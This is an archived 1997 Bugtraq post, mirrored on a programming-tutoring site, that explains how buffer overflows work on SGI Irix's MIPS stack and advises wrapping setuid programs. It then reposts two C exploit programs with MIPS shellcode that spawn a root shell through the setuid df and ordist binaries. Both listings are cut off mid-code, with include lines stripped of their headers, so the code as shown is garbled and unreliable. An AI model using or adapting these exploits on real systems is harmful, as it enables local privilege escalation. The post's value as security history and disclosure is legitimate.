Java程序辅导

C C++ Java Python Processing编程在线培训 程序编写 软件开发 视频讲解

客服在线QQ:2653320439 微信:ittutor Email:itutor@qq.com
wx: cjtutor
QQ: 2653320439
discuss@menelaus.mit.edu: [4564] in bugtraq [4564] in bugtraq home help back first fref pref prev next nref lref last post Irix: Pandora's box opened daemon@ATHENA.MIT.EDU (Yuri Volobuev) Sat May 24 22:06:53 1997 Date: Sat, 24 May 1997 17:46:31 -0500 Reply-To: Yuri Volobuev From: Yuri Volobuev To: BUGTRAQ@NETSPACE.ORG Howdy, So, the overflow era for Irix has publically begun. Actually, it could have began two weeks ago, when I received a nice illustration of the saying about a giving hand in a form of couple of exploits sent to me after I asked for it. A friendly fellow from Poland, who wishes to remain anonymous, sent me two exploits and some tech info supplementing them. He indicated that he wouldn't mind posting it to bugtraq, since it may bring up an interesting discussion. I was reluctant to post it right away hoping to come up with some decent workaround first, but since the ground is broken anyway, there's not too much harm in doing it. First, few notes about how buffer overflows can be exploited on Irix for those unfamiliar with the architecture. First of all, Irix is running on MIPS, and MIPS is a classic RISK CPU. So there's no RET instruction, and return address of a subroutine doesn't have to be stored on the stack at all. In fact, for non-leaf functions (i.e. those that don't call any subroutines themselves) it's not stored. For leaf procedures, however, compiler generates standard prolog/epilog that puts return address and "frame pointer" ($gp register) on stack and restores it from there. However, automatic variables are placed on stack _above_ them, so typical stack entry for sub1 called from sub0 looks like sub0 stack top (high memory addresses) sub0 automatic vars $ra (return address stored) $gp sub0 stack bottom/sub1 stack top sub1 automatic vars $ra $gp sub1 stack bottom (low memory addresses) (this is assuming sub1 is leaf). Anyway, it's clear that by overflowing automatic array one can't reach the stored return address on the current subroutine. The parent's stack can be successfully smashed, though. There're still more problems, however (this part is reworded explanation from the author of the exploit). If you go for saved $ra, you have to smash saved $gp on the way. In cc-generated code, though, a code sequence similar to below is often found: lw $gp,24($sp) lw $t9,-32412($gp) jalr $t9 offset is different in each case, of course. This happens before subroutine returns, so if $gp has wrong value, it has no chance of ever returning. So one actually has to target $gp and supply the right value which after subtracting the offset points to the code location somewhere in argv or envp. This may sometimes be difficult to achieve, especially on 5.3, because of "no zero bytes" restriction. There's also alignment issue: shell code should be perfectly aligned on word (32 bit, in 32 bit mode) boundary, so in addition to finding right value for $gp one has to try 4 different values for alignment. So buffer overflows on Irix are not as trivial to exploit as say on x86, but still it's perfectly possible, and I strongly suspect that Irix will as usually compensate for that by having numerous potential overflows in each and every suid binary. As for solutions -- it's wrappers time. First of all, you should assume that _all_ suid binaries are vulnerable. You can only wrap those binaries for which exploits are posted, of course, and take you chances, but I really wouldn't recommend it. If you go in wrapper business, do it for all suid binaries once and then relax. AUSCERT wrapper found at ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c gives a basic idea of what needs to be done. I'd recommend a couple of improvements, though. First, argv[] length check may not always be sufficient. Few environment variables should be checked as well, e.g. NLSPATH, LOGNAME. Checking argv for unwanted shell metacharacters would be wise, as well. I believe that wrapper can be generalized to work for all suid programs, sort of like srmsh does it, by looking in argv[0] and checking it against the compile-time assembled list of programs to wrap. Such a wrapper has to be checked against own holes very carefully, and I currently have absolutely no time for that. I'm sure Irix community would appreciate such a wrapper. It should be viewed as a permanent solution, not a temporary workaround, it'll sure take a _lot_ of time for SGI to patch all overflows, and I mean a _LOT_, you may well be retired by the time it happens, I mean from your third job in your soul's 10th incarnation from now. Now for exploits. Again, I want to reiterate: I'm just reposting them, I've absolutely nothing to do with their development, _all_ the credits go to anonymous fellow from Poland. These two are just examples. Author indicated that many other programs are exploited as well, to name a few eject, xlock... The ones attached below work on 5.3 and 6.2 on R4k, and don't work on R8k and R10k (but I'm sure it's not hard at all to make them to). The second exploit hits ordist, which is not needed for anything anyway, so strip suid bit off it just in case. cheers, yuri ----- df.c -------------------------------------------------------------------- #include #include #define BUFSIZE 2061 #define OFFS 800 #define ADDRS 2 #define ALIGN 0 void run(unsigned char *buf) { execl("/usr/sbin/df", "df", buf, NULL); printf("execl failed\n"); } char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } /* this align stuff sux - i do know. */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize #include #define BUFSIZE 306 #define OFFS 800 #define ADDRS 2 #define ALIGN 2 void run(unsigned char *buf) { execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL); printf("execl failed\n"); } char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } /* this align stuff sux - i do know. */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize